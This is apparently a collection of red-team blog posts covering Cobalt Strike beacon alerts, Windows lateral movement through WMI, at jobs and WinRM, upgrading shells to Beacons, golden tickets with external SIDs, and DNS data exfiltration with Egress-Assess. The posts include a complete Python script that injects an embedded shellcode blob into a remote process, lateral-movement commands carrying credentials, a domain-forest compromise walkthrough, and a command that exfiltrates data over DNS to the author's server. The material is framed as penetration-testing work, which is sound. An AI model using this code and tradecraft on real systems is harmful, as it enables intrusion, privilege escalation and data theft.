Receiving Text Messages for your Incoming Beacons

Whether it be through phishing, or some other means, waiting for your incoming beacons can be an anxious moment.  Every time I send off phishing e-mails, I anxiously await to receive the incoming beacons.  I personally want to know and be alerted the second that I receive a beacon, so I figured this would be a great time to work with Raphael Mudge’s scripting language that’s built right into Cobalt Strike – Aggressor.

Aggressor is an event-driven language, very similar to scripts people may have developed for IRC.  One of the events built into Aggressor is “beacon_initial“.  This event is triggered when a beacon is established for the first time.  Using this event, you can have Cobalt Strike do “something” when a beacon first checks in.

Aggressor is based on the language Sleep (also by Raphael Mudge) which supports an “exec” function.  So to tie this all together, we can have Aggressor run a command when each new beacon first checks in.  Sounds like I can just write a script that texts me with some of the information I’m interested in receiving for each new beacon!

The Aggressor script can be found here, so let’s go through this and learn what’s happening.

 
on beacon_initial { 
    local('$computer');
    local('$internal');
    $computer = beacon_info($1, "computer");
    $internal = beacon_info($1, "internal");
    exec("/root/cobaltstrike/emailme.py --ip " . $internal . " --computer '" . $computer . "'");
}

The “beacon_initial” is the event that triggers when a beacon first checks in.  The “local” commands are used to declare the contained string as a local variable.  These will store the internal IP and computer name of the beacon that just checked in.  The “beacon_info” commands allows us to retrieve metadata about the incoming beacon, in this case the internal IP and computer name.  Finally, the “exec” command executes the script at the location I’ve specified. Now, all that is needed is a script that sends the text messages!

This can be easily done using Python, and I have a script here that does it.

#!/usr/bin/env python

import argparse
import smtplib
from email.MIMEMultipart import MIMEMultipart
from email.MIMEText import MIMEText

parser = argparse.ArgumentParser(description='beacon info')
parser.add_argument('--computer')
parser.add_argument('--ip')
args = parser.parse_args()

fromaddr = ""
toaddr = ["7777777777@txt.att.net", "8888888888@vtext.com"]
msg = MIMEMultipart()
msg['From'] = fromaddr
msg['To'] = ", ".join(toaddr)
msg['Subject'] = "INCOMING BEACON"

hostname = args.computer
internal_ip = args.ip

body = "Check your teamserver! \nHostname - " + hostname + "\nInternal IP - " + internal_ip
msg.attach(MIMEText(body, 'plain'))

server = smtplib.SMTP('smtp.gmail.com', 587)
server.starttls()
server.login(fromaddr, "")
text = msg.as_string()
server.sendmail(fromaddr, toaddr, text)
server.quit()

This script was modified from another script I found online. It uses gmail (you will need to provide a username and password) to send e-mails to addresses that you specify. In this case, it’s sends e-mails to the addresses for AT&T and Verizon that translates e-mails to text messages (just change the phone numbers in the toad variable). Now, anytime that I receive an incoming beacon, this script is triggered and I receive a text message containing the hostname and internal ip of the compromised system!

You can run this one of two ways. While connected to your team server, just load up the Script Console, load your script, and you’re good to go. However, this obviously requires you to stay connected to your team server. Your other option is to use the “agscript” binary that comes with Cobalt Strike. This program lets you connect to a team server and run a script, without requiring the Cobalt Strike client. An easy way to use this is to SSH to your team server, start a screen session, and run the agscript binary in the background with the above Aggressor script. Now, anytime you receive a beacon, your Aggressor script will trigger your e-mail script which texts you to notify you of the new beacon!

Agscriptvid

Text

Built-In Lateral Movement Tools

I’m writing this post to hopefully help serve as a reference that documents multiple ways you can move laterally within a network.  There’s a bunch of different tools that are built right into Windows which help facilitate lateral movement, how kind of Microsoft :).  For now, lets start looking over our options.

WMI – Windows Management Instrumentation

WMI has become more and more prevalent to red teamers and hackers after Matt Graeber really helped bring out its usefulness at Blackhat.  WMI allows you to do so many different things that it would take multiple blog posts to document, however I’ll try to go over the useful things right now.  One thing to note: WMI for nearly all cases requires local administrative access on a system, so you will need to be running in the context of a user that has local admin access (or provide the credentials) on the system you are targeting.

One of the classes that’s immediately useful is the Win32_Process class.  This allows us to create and run a process on a machine, local or remote.  I wrote a PowerShell tool called WMIOps which easily allows you to use WMI to create a process on a remote system, such as powershell, or running any other command.  For example, lets say there was a system called “win7pdws2-pc” on the domain “sonofflynnlab” with a local admin username “test2” and password “P@ssword123”.  If you wanted to start “notepad.exe” on the remote system, you could use WMIOps and run:

Invoke-ExecCommandWMI -User sonofflynnlab\test2 -Pass P@ssword123 -Command notepad.exe -Targets win7pdws2-pc

Start processes on a remote system using WMI

This command will start notepad.exe on the testwinpc, and you have remote code execution!   The ReturnValue of “0” lets us know that it executed successfully.  On our target system, we can see notepad.exe is running.

notepadrunning

This is useful when you may not be able to access a system over SMB, but you can using WMI.  Also, WMI is generally a sneakier way (at the moment) of executing code on remote systems as you are not having to drop anything to disk.

At Jobs

At jobs are way to schedule and start a process on a remote system.  Similar to WMI, you will need local administrative rights on the system in order to schedule an at job.  To schedule an at job, at a minimum you will need to provide the path to the file you want to run and the time you want the process started.  So lets get the current time on the remote system, to do this, just run:

net time \\<computername>

nettime

Since the current time on the target system is 11:50 AM, lets schedule a job to run about 3 minutes in the future.  In this example, I want to start notepad.exe on the target system.  To schedule this job, I can just run the following:

at \\win7pdws2-pc 11:53 notepad.exe

atjobcli

I can see that my job is job number 2 for this system.  Now, when the system hits 11:53 AM, it will run the notepad.exe process.  One key difference between using at jobs and WMI is WMI runs in the context of the account you provided.  At jobs run as system.

atjobrunning

You can also use WMI to schedule jobs on a remote system.  WMIOps allows you to easily list, delete, and create jobs on a remote system.  So, lets say you wanted to use WMIOps to create a job at 12:18 to start notepad.exe.  You would run the following command:

Invoke-SchedJobManipulation -User sonofflynnlab\test2 -Pass P@ssword123 -Targets win7pdws2-pc -Create notepad.exe -Time 12:18

wmiopsjobschedule

Creating the job was successful, and we can see our job was assigned JobID 3.

Powershell Remoting

WinRM is a very nifty way to execute PowerShell code on a remote system.  As with the previous options, it will require that you have local administrative rights on the system you are targeting.

If WinRM is enabled on the system you are targeting, you can execute PowerShell commands on the target, giving you the flexibility of PowerShell.  The ports that you would probably see WinRM listening on is 5985 (http), or 5986 (https) (source).

To use WinRM to run a program/execute code on your target system, you could use the Invoke-Command cmdlet:

Invoke-Command -ComputerName win7pdws2-pc -ScriptBlock { hostname }

Invoke-Command -ComputerName win7pdws2-pc -ScriptBlock { ping 8.8.8.8 }

winrm

Raphael Mudge has a great post on using WinRM.  Be sure to check it out!

Remote Desktop

I don’t think I really need to go into any sort of description for this :).  Remote desktop is useful on servers where you can connect remotely without interrupting a users session.  RDPing into someone’s workstation can cause issues, and can be easily detected.  I wouldn’t recommend RDPing into a workstation unless it’s not being used at all.

Still want to try to RDP in?  WMIOps also has a function called Find-ActiveUsersWMI.  When you point this function at a workstation, it will attempt to see if LogonUI.exe or a *.scr (screensaver) process is running.  If either are running, it will let you know the user is likely not at their workstation.  If neither are, they probably are there!  To check, just use:

Find-ActiveUsersWMI -User sonofflynnlab\test2 -Pass P@ssword123 -Targets winypdws2-pc

usersactivecheck

 

I hope this helps to document a couple of tools built into Windows which helps to facilitate lateral movement within a network.  By no means is this an all-inclusive list, but a start.  If there’s something else you think is worth calling out in this post, please be sure to let me know!

 

 

WMIOps 1.1

After it’s initial release, I’ve had some feedback which has led to additional functionality within WMIOps, and I’ll be pushing it out in this WMIOps 1.1 release.  This release is fairly minor with two functions being added in, and an enhancement to an existing one.

Github Repo: https://github.com/ChrisTruncer/WMIOps

Some of the changes include:

  • Invoke-FileTransferOverWMI – This now has an “Execute” switch that can be provided on the command line.  If used, once a file has been uploaded to your target machine, the function will use WMI to execute/run the uploaded file.  This is now a different way to get code execution on a remote system vs. Invoke-CreateShareandExecute.
  • Get-SystemDrivesWMI – This function will enumerate local and network drives on the targeted system and return information about them (path, size, etc.)
  • Get-ActiveNICsWMI – This function will enumerate all network cards that the target system is using (read has an IP address).  All active connections will be returned

Introducing WMIOps

Over the past year or two, I think everyone has seen an increasing use of WMI by attackers everywhere.  WMI is very interesting medium for carry out various actions across hosts on a network.  While for the most use cases you will need local administrative rights, once obtained you can easily query, search, and compromise remote machines all over WMI.  Matt Graeber spoke about using WMI for C2 at Blackhat and really sparked my interest.  He then went on to release Invoke-WmiCommand which is a proof of concept script for executing powershell on a remote system and using WMI for its C2 channel.  After learning a  lot about how he implemented this, I decided to play around with WMI and see what actions I can do on remote systems over WMI and started working on WMIOps.

Github Repo: https://github.com/ChrisTruncer/WMIOps

Since that point about a month ago, I’ve got to a point where I am able to push out the initial version of WMI-Ops, written in powershell, which performs various actions over WMI on targeted machines.  Some of these functions are essentially wrappers for built-in powershell cmdlets, but were written because I find it easier to interact with them in this manner.  The functions included within the initial release of WMI-Ops, and a brief description of what they do are:

  • Invoke-ExecCommandWMI – This function will run any command you give it on the targeted system.  This will not return output of the command to the console.
  • Invoke-KillProcessWMI – This function is used to kill a process on a remote system via process ID or process name on the targeted system.
  • Get-RunningProcessesWMI – This function will return all running processes on the targeted machine.
  • Get-ProcessOwnersWMI – This function will return every user account that has a process running on the targeted system.
  • Find-ActiveUsersWMI – This function will attempt to determine if a user is currently active at the targeted system.  This works by checking to see if LogonUi.exe or a screen saver is currently running on the remote system.  If either process is running, I am assuming the user is not currently at their desktop.
  • Invoke-CreateShareandExecute – This function creates a network share on the local host.  A user-specified file is then copied into the share and permissions are set for both the file and the share to be accessible by Everyone.  Next, the function uses WMI to call/run the user specified file on the target machine and runs the file via UNC path.  This needs to be run from an elevated command/powershell prompt.
  • Invoke-RemoteScriptWithOutput – This function uses WMI to spawn powershell on a remote machine to download a user-specified powershell script (downloaded using IEX cradle), run the script and post back the function’s/script’s output over HTTPS to a user controlled server.
  • Find-UserSpecifiedFileWMI – This function takes a filename or extension and searches for the location of the file(s) on the remote system.  The path, along with additional information, is returned for any file(s) found matching the search string.
  • Invoke-FileTransferOverWMI – This function uses WMI to upload or download a file from the local system to the target system.  For uploads, the function reads the local file, base64 encodes it, and stores it in the local registry.  It then uses WMI to spawn powershell on the targeted system which connects back to the local system, reads registry value, base64 decodes it, and then writes it to a user specified location on the target system’s disk.

This is essentially my first script I’ve developed in powershell, and I certainly expect to have many “learning moments” on more proper methods of developing these same functions in powershell, so please let me know if I’ve developed something improperly.

Finally, I wouldn’t have been able to write this without the work of multiple other people who’s work I referenced throughout the writing of this script.  Matt Graeber, Chris Campbell, Will SchroederEvan PenaJustin Warner, Matt Nelson, and Chris Ross‘s powershell work served as great references for how to write in powershell, and for working with WMI in powershell.  Thanks for all your guys work and ability to release it for others to use and reference.

Egress-Assess Malware Modules

Github Link – https://github.com/ChrisTruncer/Egress-Assess

Steve Borosh (@424f424f) and I have been working on adding a new type of module into Egress-Assess for a month or two now. Currently, Egress-Assess lets you exfiltrate faux or real data over a variety of different protocols on both Linux and Windows systems.  However, Steve had the idea to create malware modules for Egress-Assess, and we started working on it.

A major resource that needs to be called out for really helping to push this idea forward is Raphael Mudge with the Malleable C2 Profiles that he created for use with Beacon.  Props to him for adding an awesome capability for Beacon and helping to push the idea of hacking to get caught forward.

We want to be able to allow users to use Egress-Assess to emulate known malware within any network.  We scoured the internet for various sources where companies have documented different network indicators used to identify malware operating over the network.  After a lot of research, we are happy to merge in the following malware modules into Egress-Assess:

Egress-Assess Supported Malware

  • Zeus
  • Darkhotel
  • etumbot
  • putterpanda

The various malware modules use known/documented C2 domains for the host headers (which are randomly selected from a large list of documented domains).  Additionally, if the malware being emulated is using GET/POST requests for C2 comms (which all currently included are), we are then also emulating the malware’s comms via each malware family’s respective method for communicating (custom uri parameters, post request data, etc.).

Ideally, you should now have the ability to generate network traffic that conforms to the respective malware’s documented methodology for C2 comms (for which we have created a module).  If there are any requests for specific pieces of malware that you would like to see added into Egress-Assess, please get in touch with Steve or myself on twitter, e-mail, or create an Issue on Github and let us know what you would like added in.

Upgrading Your Shells to Beacons

It’s an issue we all encounter, we’re operating in a shell and want to upgrade it to something better. For many, this may be Meterpreter which is absolutely a valid choice. Another option I want to explore in this post is upgrading your shell to a Cobalt Strike Beacon.

In this instance, I’m going to cheat by generating a shell callback with Veil-Evasion to simulate operating in a shell and executing it on a VM.

Shell Callback

Now that I have my shell, it’s time to look into upgrading this to something better! First, I’ll need to setup a Beacon listener within Cobalt Strike. This is pretty simple, just select the headphones icon on the top menu and you’ll be presented with the Listener tab. Just select the “Add” button at the bottom and configure your listener as you see fit.

Beacon Listener

Once you’ve created your listener, it’s time to prep for the shell upgrade. I prefer to use Cobalt Strike’s powershell web-delivery feature to upgrade my shell. To set this up, click the powershell icon on the top menu and configure the attack. In this case, I customized the uri to be “upgrade”, I am using the default port 80, and the listener that I want to utilize was pre-selected.

Powershell Web Delivery

Now, just select launch, and you’ll be given the command that you can run on your victim machine.

Powershell One Liner

All you need to do now is just copy and paste this command into your shell, and you should see your beacon calling back!

Beacon Callback

If you have any questions, be sure to let me know! Hop in #Veil on Freenode or hit me up on twitter @ChrisTruncer.

Injecting Shellcode into a Remote Process with Python

In order to inject shellcode into a remote process, we’re going to have to interact with the Windows API, and it’s actually going to be fairly simple to do.  To start off, you need to check that you have the permissions to interact with the process that you want to inject shellcode into, and you will also need to know the process ID .  I’ll leave this to you to ensure you can verify and gather this information.

Now that we know we have the permissions to interact with the remote process, and the process ID is known, we can begin developing a script that will perform the injection.  First, we need to know the different calls (and understand the reason for calling them) to the Windows API we will need to make.  It’s simple, there’s just four main calls, and they are as follows:

  • OpenProcess – This is called to get a handle into the process we want to inject shellcode into
  • VirtualAllocEx – This is called to allocate memory for the shellcode in the remote process
  • WriteProcessMemory – This writes the shellcode to the allocated memory within the remote process
  • CreateRemoteThread – This creates a thread, and executes the shellcode within the remote process

Ctypes makes it very simple to interact with the Windows API in a Python script, so it will be a required import for this script.  The following is the completed script, and I will go over each part of the script in detail:

from ctypes import *

page_rwx_value = 0x40
process_all = 0x1F0FFF
memcommit = 0x00001000
kernel32_variable = windll.kernel32
shellcode = "\xbb\xbb\x48\x30\x8d\xdb\xdd\xd9\x74\x24\xf4\x58\x2b\xc9\xb1\x47\x83\xe8\xfc\x31\x58\x0f\x03\x58\xb4\xaa\xc5\x71\x22\xa8\x26\x8a\xb2\xcd\xaf\x6f\x83\xcd\xd4\xe4\xb3\xfd\x9f\xa9\x3f\x75\xcd\x59\xb4\xfb\xda\x6e\x7d\xb1\x3c\x40\x7e\xea\x7d\xc3\xfc\xf1\x51\x23\x3d\x3a\xa4\x22\x7a\x27\x45\x76\xd3\x23\xf8\x67\x50\x79\xc1\x0c\x2a\x6f\x41\xf0\xfa\x8e\x60\xa7\x71\xc9\xa2\x49\x56\x61\xeb\x51\xbb\x4c\xa5\xea\x0f\x3a\x34\x3b\x5e\xc3\x9b\x02\x6f\x36\xe5\x43\x57\xa9\x90\xbd\xa4\x54\xa3\x79\xd7\x82\x26\x9a\x7f\x40\x90\x46\x7e\x85\x47\x0c\x8c\x62\x03\x4a\x90\x75\xc0\xe0\xac\xfe\xe7\x26\x25\x44\xcc\xe2\x6e\x1e\x6d\xb2\xca\xf1\x92\xa4\xb5\xae\x36\xae\x5b\xba\x4a\xed\x33\x0f\x67\x0e\xc3\x07\xf0\x7d\xf1\x88\xaa\xe9\xb9\x41\x75\xed\xbe\x7b\xc1\x61\x41\x84\x32\xab\x85\xd0\x62\xc3\x2c\x59\xe9\x13\xd1\x8c\xbe\x43\x7d\x7f\x7f\x34\x3d\x2f\x17\x5e\xb2\x10\x07\x61\x19\x39\xa2\x9b\xc9\x86\x9b\x9b\x96\x6f\xde\xe3\x89\x8c\x57\x05\xa3\x42\x3e\x9d\x5b\xfa\x1b\x55\xfa\x03\xb6\x13\x3c\x8f\x35\xe3\xf2\x78\x33\xf7\x62\x89\x0e\xa5\x24\x96\xa4\xc0\xc8\x02\x43\x43\x9f\xba\x49\xb2\xd7\x64\xb1\x91\x6c\xac\x27\x5a\x1a\xd1\xa7\x5a\xda\x87\xad\x5a\xb2\x7f\x96\x08\xa7\x7f\x03\x3d\x74\xea\xac\x14\x29\xbd\xc4\x9a\x14\x89\x4a\x64\x73\x0b\xb6\xb3\xbd\x79\xd6\x07"
process_id = 1234
shellcode_length = len(shellcode)

process_handle = kernel32_variable.OpenProcess(process_all, False, process_id)
memory_allocation_variable = kernel32_variable.VirtualAllocEx(process_handle, 0, shellcode_length, memcommit, page_rwx_value)
kernel32_variable.WriteProcessMemory(process_handle, memory_allocation_variable, shellcode, shellcode_length, 0)
kernel32_variable.CreateRemoteThread(process_handle, None, 0, memory_allocation_variable, 0, 0, 0)

 

 

***************************Line By Line Description*******************************

from ctypes import * – The ctypes import is required and is what allows us to interact with the Windows API within python.

page_rwx_value – This is a variable that sets the section of memory that will store the shellcode as read, write, and executable.

processall_variable – This variable states that when we try to open a handle into the process we’re injecting into, we want to have “all possible access rights” into the process.

memcommit –  This variable is set to allocate memory and ensure it is zeroed upon writing to memory.

kernel32_variable – This just stores the available calls from windll.kernel32 within a single variable.

Shellcode – This is the shellcode that will be injected into memory and executed

process_id – This is the process ID that the shellcode will be injected into

shellcode_length – This variable stores the length of the shellcode that will be injected and executed

process_handle = kernel32_variable.OpenProcess(process_all, False, process_id)  – This line makes a call to OpenProcess.  The point of this line is to return a handle into the process we are injecting shellcode into.  We’re specifically asking for all possible process rights, stating that we don’t need to inherit the handle, and specifying the process ID of the process to obtain a handle from.

memory_allocation_variable = kernel32_variable.VirtualAllocEx(process_handle, 0, shellcode_length, memcommit, page_rwx_value) – This line calls VirtualAllocEx, a function that allocates memory in a remote process.  It requires a handle to the process that will have memory allocated (obtained from the OpenProcess call), the size that should be allocated (shellcode length), the type of memory allocation that should be performed (memcommit), and the memory protection that should be placed on the allocated memory range (read, write, execute).  It returns the base address to the memory that was allocated by the function.

kernel32_variable.WriteProcessMemory(process_handle, memory_allocation_variable, shellcode, shellcode_length, 0) – This line calls WriteProcessMemory which writes data (shellcode) to an area of memory within a process of our choosing.  The function receives the process handle that was obtained, the base address where the function will write memory to, our shellcode, and the length of the shellcode, and the value 0 which tells the function to ignore an optional output.

kernel32_variable.CreateRemoteThread(process_handle, None, 0, memory_allocation_variable, 0, 0, 0) – This calls CreateRemoteThread, which will create a thread (go figure) within the another process.  This function call takes in a handle to the process which the shellcode is being injected into, None – states that the thread inherits a default security descriptor, 0 – defines the stack size to be the default size for that executable, the base address of the memory allocated earlier, and the final “0”s are miscellaneous parameters that tells the function that we aren’t providing “A pointer to the application-defined function” (source: MSDN), there isn’t a variable passed in, and to execute the thread immediately

From this point on, the shellcode should execute within the targeted process, and you should be set!  If there are any questions, errors, or something that needs to be addressed, let me know!

Golden Tickets and External SIDs – Spread the Compromise

Note: Be sure to check out Sean Metcalf’s (@Pyrotek3) post about this technique available here!  He talked about this at BlackHat USA 2015!

Benjamin Delpy (@gentilkiwi) recently tweeted about adding External SIDs into Mimikatz’s golden tickets which was quickly followed up by Skip Duckwall (@Passingthehash) also tweeting how devastating this addition can be to defenders.  Skip said it best by saying, “Pwning the child can (with default settings) compromise the parent”.  This capability has a fairly significant impact for both attackers and defenders.  If as an attacker I can just target the weakest child domain and leverage that access to compromise the parent domain, my attack path just potentially became significantly easier.  As a defender, I now know that if any child domain is compromised, then the integrity of the forest as a whole is now in jeopardy.

This was something that I really wanted to test myself, so I did just that.  I set up a parent (sonofflynnlab.com) and child (child.sonofflynnlab.com) domain in my home lab with workstations in each respective domain.  I used the default settings when creating the child domain within the parent domain.  There’s a total of four normal user accounts:

  • test1 and test2 – Members of the parent domain’s (SONOFFLYNNLAB) Domain Users group
  • testc1 and testc2 – Members of the child domain’s (CHILD.SONOFFLYNNLAB) Domain Users group

Once both domains were created and populated with user and computer accounts, I wanted to test the relationship between the two domains.  One of the easiest ways to do this is to use Veil-Powerview, which is part of the Veil-Framework’s Powertools and developed by Will Schroeder (@harmj0y).  I ran Invoke-MapDomainTrusts to view the relationship between the two domains and received the following output:

3 - domaintrustsAs you can see, there’s a bidirectional trust between the child and parent domain.  Now that it looks like I have everything setup the way I would like it to be, it’s time to test creating a golden ticket with an external SID.  To give some context to how I am testing this scenario, I will be running all commands from a workstation within the child domain and will be logged into the workstation in the context of a user within the child domain.

The first step I will perform is to download Mimikatz onto this workstation and purge all kerberos tickets.

1 - mimikatz krb purgeNow that all tickets have been purged, let’s verify that I cannot access either the child domain’s domain controller’s C$ share, or the parent domain’s domain controller’s C$ share.

2 - cantaccessNext, lets build the golden ticket with the external/parent SID information.  The golden ticket is built with all the same information as a normal golden ticket with the addition of the external SID via the /sids flag.  At this point, I’m going to assume that you have already obtained the krbtgt hash, and domain sid of the child domain.  If you need help finding this information, review this post.  However, the new piece of information that we will need to grab is the SID of the parent domain, and the RID of the group we want to “add” the user to.  One way to obtain this is to utilize PowerView.  I can use the Get-NetLocalGroup command to find the SID of the domain with the following command (since my machine can currently hit the parent domain’s DC):

parentsid

Once I’ve obtained all the information I need, it’s time to create the golden ticket.

pttchild In this case, you can see I am referencing the 519 group which is the Enterprise Admins group within the external SID.  If you are looking to change the group you wish to “add” yourself into, some default group values are available here. I’m also using /ptt to immediately submit the ticket.

Now that my ticket has been submitted, it’s time to open a command prompt with the submitted ticket applied to it.

4 - getshellLet’s test our access!

5 - accesstoprimarydcSweet!  My normal domain user account within the child domain now has access to not only the child domain’s domain controller’s C$ share, but I can also access the C$ share on the parent domain’s domain controller since I am essentially running in the context of an Enterprise Admin!

At this point, I can leverage any number of techniques to move into the parent domain.  Needless to say, this is something that I will look for on future assessments.

 

 

 

 

 

Exfiltrate Data via DNS with Egress-Assess

Egress-Assess Repo: https://github.com/ChrisTruncer/Egress-Assess

DNS is a channel that can usually be utilized to exfiltrate data out over a network.  Even in the event that a network you are operating in requires authenticating to a proxy for data to leave a network, users can typically make DNS requests which are forwarded on via the local DNS servers in the user’s network.  An attacker can utilize normal DNS functionality to forward data, C2, etc. out of the current network to a destination of their choosing, and Raphael Mudge has already weaponized this for use in Beacon with Cobalt Strike.

A new module has been added in to Egress-Assess that allows you to utilize your system’s DNS server to exfiltrate data.  This is different from the existing DNS module within Egress-Assess.  The existing module send a DNS packet directly to the DNS server you specify, the “dns_resolved” module utilizes your network’s own DNS server.

To utilize the existing network’s DNS server, it will require some setup.  Raphael also has a blog post describing virtually the same configuration/setup that will be required to exfiltrate your data.

The first step I took was to create an A record egress.christophertruncer.com and point that to the server I intend on acting as my endpoint for the data I am exfiltrating.  Next, I created a NS record for a subdomain that I will use for exfiltrating data, and then point the NS record to the A record I just created (egress.christophertruncer.com).  My setup looks like the following:

DNS NS Record

Now, everything is setup and ready to go!  To use this, my sample Egress-Assess command would be:

./Egress-Assess --client dns_resolved --datatype ssn --ip test.christophertruncer.com

Since egress.christophertruncer.com acts as the nameserver for test.christophertruncer.com, all requests using the “test” subdomain are sent to egress, sending all data over DNS to an endpoint I control.

If you have any questions on this, feel free to shoot a tweet my way or hop in #veil on Freenode!

How to Develop Egress-Assess Modules

This post will document how to create server, client, and datatype modules for Egress-Assess.  I’ll document the necessary functions and attributes that the framework requires, and hopefully try to give some helpful info.

Some basic info before diving into the specifics of the differences between the module types.  All __init__ methods are able to access any command line parameter passed in by the user.  If any module requires information from the command line (hint, all of them do in one way or another), you should declare attributes (based off of the command line options) for each class instance within the __init__ method.

All template modules are currently a .txt file.  Once you’ve created your module and want to test/use it, rename it to a .py file within its respective folder.

Server Modules

servermoduletemplate

The first module type to discuss are server modules.  These modules will allow the framework to be put into a “server mode” which typically entails listening and waiting for the client to connect into the server, and transmit data to the server.  A blank server module template is available at this link to use as a base for creating a server module.

The self.protocol attribute is the only required attribute for server modules.  This attribute is what is displayed to the user when typing --list-servers.  This is also the value that is used to identify and use the server module when used in conjunction with the --server flag.

The serve function is the only required function for the server class.  It is what is used by the framework to start the server.  You can create as many different functions as needed for the server class, but the serve function should be considered the “main” of the server module.

Client Modules

clientmoduletemplate

The client module will typically be used to transmit data over a specific protocol, vs. receiving any data.  A blank client module template can be found at this location.

The self.protocol attribute is the only required attribute for client modules.  This attribute is what is displayed to the user when typing --list-clients.  This is also the value that is used to identify and use the server module when used in conjunction with the --client flag.

The transmit function is the only required function for client modules.  It is the function called by the framework  to transmit data.  The transmit function has a variable passed into it (data_to_transmit) which is the data that the client is supposed to transmit to the server.  Similar to server modules, the transmit function should be considered like the “main” function of client modules.  You can create as many additional functions necessary for the client module’s use, but the transmit function is what will be invoked by the framework.

Datatype Modules

datatype template

The datatype module is used to generate any sort of data.  Currently, there’s support for modules that generate social security numbers or credit card numbers.  A blank datatype template can be found at this location.

The self.cli, self.description, and self.filetype attributes are required for datatype modules.  The self.cli attributes is part of what is displayed when the user types --list-datatypes and is what is used to uniquely select the specific datatype to use with the --datatype flag.  This should be short since it is what is passed in by the user in the command line.

The self.description attribute can be used to better describe the datatype that is generated by the module.  This is also displayed when a user types --list-datatypes.  For example, the credit card module has “cc” as the self.cli attribute and “Credit Card Numbers” as the self.description attribute.

The self.filetype is currently only used when attempting to exfil data over ftp, but it is a required attribute.  This is to let the framework know if the data is text or binary data.  If text, keep the filetype attribute as text. Otherwise, change it.

The generate_data function is a required function for datatype modules.  It is what is invoked by the framework to generate the specific type of data requested by the user.  It must also return the total “data” generated.  As an example, the social security number datatype module generates X number of credit cards, and they are returned into the framework at the conclusion of the generate_data function.

Helper Functions

There are a few helper functions that are accessible to all modules.  The functions are in the helpers.py file within the framework.  However, a brief description of this is:

  • helpers.randomNumbers(X) – returns “X” number of random numbers
  • helpers.ea_path() – returns the current path the Egress-Assess is in
  • helpers.writeout_text_data(incoming_data) – writes out a file containing the data passed into function, and returns the name of the file

 

I hope this helps explain how to write any of the currently available modules.  If anyone has any questions, feel free to hit me up on twitter or on IRC in #veil!